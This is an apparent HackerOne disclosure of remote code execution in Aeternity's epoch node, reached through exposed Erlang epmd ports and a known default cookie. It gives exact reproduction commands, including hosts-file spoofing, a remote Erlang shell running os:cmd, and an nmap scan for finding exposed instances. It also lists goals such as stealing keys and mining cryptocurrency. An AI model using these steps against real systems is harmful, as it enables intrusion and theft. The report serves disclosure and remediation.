Aeternity: Remote Code Execution in epoch via epmd

ID H1:450365
Type hackerone
Reporter ecneladis
Modified 2019-05-09T17:21:43


Summary: Remote Code Execution in epoch via exposed erlang ports (epmd)

Description: Known Erlang cookie allows connecting to other Erlang nodes. Contrary to assumptions from, starting node with -sname does not prevent remote connections.

Steps To Reproduce:

Target server

Download and setup latest release of epoch following official release notes.

Attacker machine

Add line with target ip and localhost to /etc/hosts before localhost:

ubuntu@server:~$ cat /etc/hosts | grep localhost 52.zz.xx.yy localhost localhost

Verify it's resolved before ubuntu@server:~# getent hosts localhost 52.zz.xx.yy localhost localhost

Execute remote shell with erl:

``` ubuntu@server:~# uname -a Linux web-2 4.4.0-127-generic #153-Ubuntu SMP Sat May 19 10:58:46 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

ubuntu@server:~# erl -setcookie epoch_cookie -sname server -remsh epoch@localhost Erlang/OTP 18 [erts-7.3] [source] [64-bit] [async-threads:10] [hipe] [kernel-poll:false]

Eshell V9.3.3 (abort with ^G) (epoch@localhost)1> os:cmd('uname -a'). "Linux target-1 4.4.0-131-generic #157-Ubuntu SMP Thu Jul 12 15:51:36 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux\n" ````

Additional notes:

  • other Aeternity Erlang application also may be vulnerable (in my previous research for Amoveo
  • it's possible to easily find all publicly available epoch instances with network scanner:

``` ubuntu@server:~$ nmap -T5 -p 4369 --script epmd-info 52.zz.xx.yy

Starting Nmap 7.01 ( ) at 2018-11-27 11:37 UTC Nmap scan report for localhost (52.zz.xx.yy) Host is up (0.0015s latency). PORT STATE SERVICE 4369/tcp open epmd | epmd-info: | epmd_port: 4369 | nodes: |_ epoch: 37286 ```

Possible mitigations:

  • firewall Erlang ports
  • generating random cookies (do not relay on default Erlang generation mechanism, see my previous research)
  • disabling Erlang nodes listening on

Supporting Material/References:


Remote code execution and then for example: - attaching hosting system - stealing encrypted keys - stealing encrypt password for keys - subverting key generation mechanism - mining XMR ;)